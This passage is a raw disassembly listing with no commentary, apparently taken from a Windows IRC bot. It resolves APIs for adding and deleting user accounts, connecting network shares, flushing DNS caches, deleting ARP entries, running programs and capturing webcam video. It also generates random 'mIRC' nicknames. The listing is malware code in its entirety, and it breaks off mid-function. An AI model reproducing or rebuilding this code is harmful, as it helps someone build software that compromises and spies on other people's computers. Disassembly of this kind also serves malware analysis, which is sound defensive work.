aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB6E4, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB580, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB52C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB51C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB5B4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CB6AC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB664, eax call esi cmp dword_4CB548, ebx mov dword_4CB588, eax jz short loc_40A583 cmp dword_4CB520, ebx jz short loc_40A583 cmp dword_4CB598, ebx jz short loc_40A583 cmp dword_4CB5CC, ebx jz short loc_40A583 cmp dword_4CB6E4, ebx jz short loc_40A583 cmp dword_4CB580, ebx jz short loc_40A583 cmp dword_4CB52C, ebx jz short loc_40A583 cmp dword_4CB51C, ebx jz short loc_40A583 cmp dword_4CB5B4, ebx jz short loc_40A583 cmp dword_4CB6AC, ebx jz short loc_40A583 cmp dword_4CB664, ebx jnz short loc_40A58D jmp short loc_40A583 ; --------------------------------------------------------------------------- loc_40A578: ; CODE XREF: sub_409B13+969j nop call near ptr 26B0857h mov dword_4CB750, eax loc_40A583: ; CODE XREF: sub_409B13+A11j ; sub_409B13+A19j ... mov dword_4CB74C, 1 loc_40A58D: ; CODE XREF: sub_409B13+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C2 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB570, eax call esi cmp dword_4CB570, ebx mov dword_4CB64C, eax jz short loc_40A5CD cmp eax, ebx jnz short loc_40A5D7 jmp short loc_40A5CD ; --------------------------------------------------------------------------- loc_40A5C2: ; CODE XREF: sub_409B13+A85j call near ptr 26B0857h nop mov dword_4CB758, eax loc_40A5CD: ; CODE XREF: sub_409B13+AA7j ; sub_409B13+AADj mov dword_4CB754, 1 loc_40A5D7: ; CODE XREF: sub_409B13+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60C push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB6D0, eax call esi cmp dword_4CB6D0, ebx mov dword_4CB6CC, eax jz short loc_40A617 cmp eax, ebx jnz short loc_40A621 jmp short loc_40A617 ; --------------------------------------------------------------------------- loc_40A60C: ; CODE XREF: sub_409B13+ACFj nop call near ptr 26B0857h mov dword_4CB760, eax loc_40A617: ; CODE XREF: sub_409B13+AF1j ; sub_409B13+AF7j mov dword_4CB75C, 1 loc_40A621: ; CODE XREF: sub_409B13+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A680 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB6FC, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB6F4, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB6BC, eax call esi cmp dword_4CB6FC, ebx mov dword_4CB58C, eax jz short loc_40A68B cmp dword_4CB6F4, ebx jz short loc_40A68B cmp dword_4CB6BC, ebx jz short loc_40A68B cmp eax, ebx jnz short loc_40A695 jmp short loc_40A68B ; --------------------------------------------------------------------------- loc_40A680: ; CODE XREF: sub_409B13+B19j nop call near ptr 26B0857h mov dword_4CB768, eax loc_40A68B: ; CODE XREF: sub_409B13+B55j ; sub_409B13+B5Dj ... mov dword_4CB764, 1 loc_40A695: ; CODE XREF: sub_409B13+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6CA push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB5C0, eax call esi cmp dword_4CB5C0, ebx mov dword_4CB6C8, eax jz short loc_40A6D5 cmp eax, ebx jnz short loc_40A6DF jmp short loc_40A6D5 ; --------------------------------------------------------------------------- loc_40A6CA: ; CODE XREF: sub_409B13+B8Dj nop call near ptr 26B0857h mov dword_4CB770, eax loc_40A6D5: ; CODE XREF: sub_409B13+BAFj ; sub_409B13+BB5j mov dword_4CB76C, 1 loc_40A6DF: ; CODE XREF: sub_409B13+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A768 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CB690, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB6DC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB618, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB5D0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB670, eax call esi cmp dword_4CB690, ebx mov dword_4CB5E0, eax jz short loc_40A773 cmp dword_4CB6DC, ebx jz short loc_40A773 cmp dword_4CB618, ebx jz short loc_40A773 cmp dword_4CB5D0, ebx jz short loc_40A773 cmp dword_4CB670, ebx jz short loc_40A773 cmp eax, ebx jnz short loc_40A77D jmp short loc_40A773 ; --------------------------------------------------------------------------- loc_40A768: ; CODE XREF: sub_409B13+BD7j call near ptr 26B0857h nop mov dword_4CB778, eax loc_40A773: ; CODE XREF: sub_409B13+C2Dj ; sub_409B13+C35j ... mov dword_4CB774, 1 loc_40A77D: ; CODE XREF: sub_409B13+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B2 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB5A4, eax call esi cmp dword_4CB5A4, ebx mov dword_4CB684, eax jz short loc_40A7BD cmp eax, ebx jnz short loc_40A7C7 jmp short loc_40A7BD ; --------------------------------------------------------------------------- loc_40A7B2: ; CODE XREF: sub_409B13+C75j call near ptr 26B0857h nop mov dword_4CB780, eax loc_40A7BD: ; CODE XREF: sub_409B13+C97j ; sub_409B13+C9Dj mov dword_4CB77C, 1 loc_40A7C7: ; CODE XREF: sub_409B13+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CF proc near ; CODE XREF: sub_401ACD+2537p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB714, esi push edi mov edi, [ebp+arg_8] jz short loc_40A817 push dword_4CB718 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A817: ; CODE XREF: sub_40A7CF+1Aj cmp dword_4CB71C, esi jz short loc_40A84B push dword_4CB720 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A84B: ; CODE XREF: sub_40A7CF+4Ej cmp dword_4CB724, esi jz short loc_40A87F push dword_4CB728 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A87F: ; CODE XREF: sub_40A7CF+82j cmp dword_4CB72C, esi jz short loc_40A8B3 push dword_4CB730 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A8B3: ; CODE XREF: sub_40A7CF+B6j cmp dword_4CB734, esi jz short loc_40A8E7 push dword_4CB738 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A8E7: ; CODE XREF: sub_40A7CF+EAj cmp dword_4CB73C, esi jz short loc_40A91B push dword_4CB740 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A91B: ; CODE XREF: sub_40A7CF+11Ej cmp dword_4CB744, esi jz short loc_40A94F push dword_4CB748 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A94F: ; CODE XREF: sub_40A7CF+152j cmp dword_4CB74C, esi jz short loc_40A983 push dword_4CB750 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A983: ; CODE XREF: sub_40A7CF+186j cmp dword_4CB754, esi jz short loc_40A9B7 push dword_4CB758 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A9B7: ; CODE XREF: sub_40A7CF+1BAj cmp dword_4CB75C, esi jz short loc_40A9EB push dword_4CB760 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40A9EB: ; CODE XREF: sub_40A7CF+1EEj cmp dword_4CB764, esi jz short loc_40AA1F push dword_4CB768 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AA1F: ; CODE XREF: sub_40A7CF+222j cmp dword_4CB76C, esi jz short loc_40AA53 push dword_4CB770 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AA53: ; CODE XREF: sub_40A7CF+256j cmp dword_4CB774, esi jz short loc_40AA87 push dword_4CB778 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AA87: ; CODE XREF: sub_40A7CF+28Aj cmp dword_4CB77C, esi jz short loc_40AABB push dword_4CB780 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 20h loc_40AABB: ; CODE XREF: sub_40A7CF+2BEj lea eax, [ebp+var_200] push offset unk_42DA2C push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE8 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A73 add esp, 14h loc_40AAE8: ; CODE XREF: sub_40A7CF+302j lea eax, [ebp+var_200] push eax call sub_4151AD pop ecx pop edi pop esi pop ebx leave retn sub_40A7CF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C96p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB694 cmp eax, 0FFFFFFFFh jnz short locret_40AB22 push [esp+arg_0] call dword_4CB6D8 test eax, eax jnz short loc_40AB1B or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1B: ; CODE XREF: sub_40AAFA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB22: ; CODE XREF: sub_40AAFA+Dj retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= sub_40AB23 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB570 xor eax, eax test ecx, ecx jz short locret_40AB31 call ecx locret_40AB31: ; CODE XREF: sub_40AB23+Aj retn sub_40AB23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB32 proc near ; CODE XREF: sub_401ACD:loc_403F5Ep var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB6D0 mov ecx, eax sub ecx, edi jz loc_40ABF8 sub ecx, 32h jz loc_40ABF1 sub ecx, 48h jz short loc_40AB92 sub ecx, 6Eh jz short loc_40AB8B loc_40AB74: ; CODE XREF: sub_40AB32+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DC40 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD2 ; --------------------------------------------------------------------------- loc_40AB8B: ; CODE XREF: sub_40AB32+40j push offset unk_42DC1C jmp short loc_40ABC4 ; --------------------------------------------------------------------------- loc_40AB92: ; CODE XREF: sub_40AB32+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBF lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB6D0 cmp eax, edi jz short loc_40ABF8 jmp short loc_40AB74 ; --------------------------------------------------------------------------- loc_40ABBF: ; CODE XREF: sub_40AB32+79j push offset unk_42DBEC loc_40ABC4: ; CODE XREF: sub_40AB32+5Ej ; sub_40AB32+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD2: ; CODE XREF: sub_40AB32+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AD pop ecx loc_40ABE2: ; CODE XREF: sub_40AB32+C8j ; sub_40AB32+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF1: ; CODE XREF: sub_40AB32+32j push offset unk_42DBBC jmp short loc_40ABC4 ; --------------------------------------------------------------------------- loc_40ABF8: ; CODE XREF: sub_40AB32+29j ; sub_40AB32+89j cmp [esi], edi jbe short loc_40ABE2 lea ebx, [esi+4] loc_40ABFF: ; CODE XREF: sub_40AB32+DAj push ebx call dword_4CB6CC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFF jmp short loc_40ABE2 sub_40AB32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC10 proc near ; CODE XREF: sub_401ACD+2248p ; sub_401ACD+2399p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB5F8 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB784 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC10 endp ; =============== S U B R O U T I N E ======================================= sub_40AC69 proc near ; CODE XREF: sub_412B09+24Cp ; sub_412B09+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC92 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC85: ; CODE XREF: sub_40AC69+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC85 pop edi jmp short loc_40AC96 ; --------------------------------------------------------------------------- loc_40AC92: ; CODE XREF: sub_40AC69+Aj mov edx, [esp+4+arg_0] loc_40AC96: ; CODE XREF: sub_40AC69+27j test esi, esi pop esi jz short loc_40ACA0 movzx ecx, byte ptr [edx] add eax, ecx loc_40ACA0: ; CODE XREF: sub_40AC69+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC69 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB6 proc near ; CODE XREF: sub_40B08E+49p ; DATA XREF: ___:off_42DC88o arg_0 = dword ptr 4 push esi push edi call near ptr 26C066Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42DCF0[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1E loc_40ACF8: ; CODE XREF: sub_40ACB6+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB64 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF8 loc_40AD1E: ; CODE XREF: sub_40ACB6+40j mov eax, edi pop edi pop esi retn sub_40ACB6 endp ; --------------------------------------------------------------------------- db 56h dd 42E89057h, 50022B59h, 10BA7E8h, 247C8B00h, 2404C710h dd 429140h, 42D01868h, 571C6A00h, 10C37E8h, 83F63300h dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah dd 685752F9h, 42BB64h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh dd 0DA7C0042h, 5E5FC78Bh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40AD81 proc near ; CODE XREF: sub_401ACD+69CDp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26C066Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC4 loc_40ADAE: ; CODE XREF: sub_40AD81+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAE loc_40ADC4: ; CODE XREF: sub_40AD81+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD81 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 26C066Dh nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431948 push eax push esi call near ptr 26F0000h nop movsx eax, byte_431948 push 41h pop ecx push 1 pop edx loc_40AE0A: ; CODE XREF: ___:0040AE15j cmp eax, ecx jnz short loc_40AE11 mov [ebp-4], edx loc_40AE11: ; CODE XREF: ___:0040AE0Cj inc ecx cmp ecx, 5Bh jl short loc_40AE0A push 61h pop ecx loc_40AE1A: ; CODE XREF: ___:0040AE25j cmp eax, ecx jnz short loc_40AE21 mov [ebp-4], edx loc_40AE21: ; CODE XREF: ___:0040AE1Cj inc ecx cmp ecx, 7Bh jl short loc_40AE1A mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE66 loc_40AE40: ; CODE XREF: ___:0040AE64j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB64 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE40 loc_40AE66: ; CODE XREF: ___:0040AE3Ej mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26C066Dh push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 2700000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_43194C push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDB loc_40AEB5: ; CODE XREF: ___:0040AED9j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB64 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB5 loc_40AEDB: ; CODE XREF: ___:0040AEB3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D808 mov dword ptr [ebp-94h], 94h call near ptr 270055Dh nop nop call near ptr 26C066Dh push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF65 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF45 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF35 mov esi, offset dword_431974 loc_40AF35: ; CODE XREF: ___:0040AF2Ej cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA1 mov esi, offset dword_431970 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF45: ; CODE XREF: ___:0040AF25j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF55 mov esi, offset dword_43196C jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF55: ; CODE XREF: ___:0040AF4Cj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9C mov esi, offset dword_431968 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF65: ; CODE XREF: ___:0040AF1Cj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9C cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7E mov esi, offset dword_431964 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF7E: ; CODE XREF: ___:0040AF75j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8E mov esi, offset dword_431960 jmp short loc_40AFA1 ; --------------------------------------------------------------------------- loc_40AF8E: ; CODE XREF: ___:0040AF85j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43195C jz short loc_40AFA1 loc_40AF9C: ; CODE XREF: ___:0040AF5Cj ; ___:0040AF6Cj mov esi, offset dword_431958 loc_40AFA1: ; CODE XREF: ___:0040AF3Cj ; ___:0040AF43j ... mov edi, [ebp+8] push esi push offset dword_431950 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE5 loc_40AFBF: ; CODE XREF: ___:0040AFE3j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42BB64 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBF loc_40AFE5: ; CODE XREF: ___:0040AFBDj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEB proc near ; CODE XREF: sub_40B08E+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26C066Dh xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B03A call dword_4CB660 test eax, eax mov eax, offset off_431980 jnz short loc_40B023 mov eax, offset dword_43D808 loc_40B023: ; CODE XREF: sub_40AFEB+31j push eax push esi push offset dword_431978 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B05A ; --------------------------------------------------------------------------- loc_40B03A: ; CODE XREF: sub_40AFEB+22j call dword_4CB660 test eax, eax mov eax, offset off_431980 jnz short loc_40B04E mov eax, offset dword_43D808 loc_40B04E: ; CODE XREF: sub_40AFEB+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B05A: ; CODE XREF: sub_40AFEB+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B089 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B089: ; CODE XREF: sub_40AFEB+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08E proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42DC84 loc_40B09A: ; CODE XREF: sub_40B08E+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B5 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BF ; --------------------------------------------------------------------------- loc_40B0B5: ; CODE XREF: sub_40B08E+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BF: ; CODE XREF: sub_40B08E+25j test eax, eax jnz short loc_40B0D1 add esi, 14h inc edi cmp esi, offset off_42DCFC jb short loc_40B09A jmp short loc_40B0DF ; --------------------------------------------------------------------------- loc_40B0D1: ; CODE XREF: sub_40B08E+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42DC88[eax*4] pop ecx loc_40B0DF: ; CODE XREF: sub_40B08E+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F2 push [ebp+arg_0] call sub_40AFEB pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F2: ; CODE XREF: sub_40B08E+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08E endp ; =============== S U B R O U T I N E ======================================= sub_40B0F7 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E390 loc_40B0FF: ; CODE XREF: sub_40B0F7+18j cmp byte ptr [eax], 0 jz short loc_40B113 add eax, 234h inc edi cmp eax, offset dword_4CB390 jl short loc_40B0FF jmp short loc_40B15E ; --------------------------------------------------------------------------- loc_40B113: ; CODE XREF: sub_40B0F7+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E390[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E590[esi], eax and dword_43E594[esi], 0 mov eax, [esp+8+arg_8] and dword_43E598[esi], 0 mov dword_43E59C[esi], eax and byte_43E5A8[esi], 0 pop esi loc_40B15E: ; CODE XREF: sub_40B0F7+1Aj mov eax, edi pop edi retn sub_40B0F7 endp ; --------------------------------------------------------------------------- word_40B162 dw 8B55h ; DATA XREF: sub_401ACD+298Ao dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h dd 6CE8EC75h, 83000002h, 6A14C4h, 4E4EE890h, 5E5F0230h dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h dd 0FE00858Dh, 8C68FFFFh, 500042C8h, 10681E8h, 8D016A00h dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_40B232 proc near ; CODE XREF: sub_401ACD+7BA5p ; sub_40B2C0+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2BA cmp esi, 400h jge short loc_40B2BA imul esi, 234h push edi push ebx push dword_43E5A4[esi] lea edi, dword_43E5A4[esi] nop call near ptr 26C06DDh cmp [edi], ebx jz short loc_40B26A push 1 pop ebp loc_40B26A: ; CODE XREF: sub_40B232+33j mov [edi], ebx lea edi, dword_43E598[esi] mov dword_43E590[esi], ebx mov dword_43E594[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28B push eax call sub_4199CA pop ecx 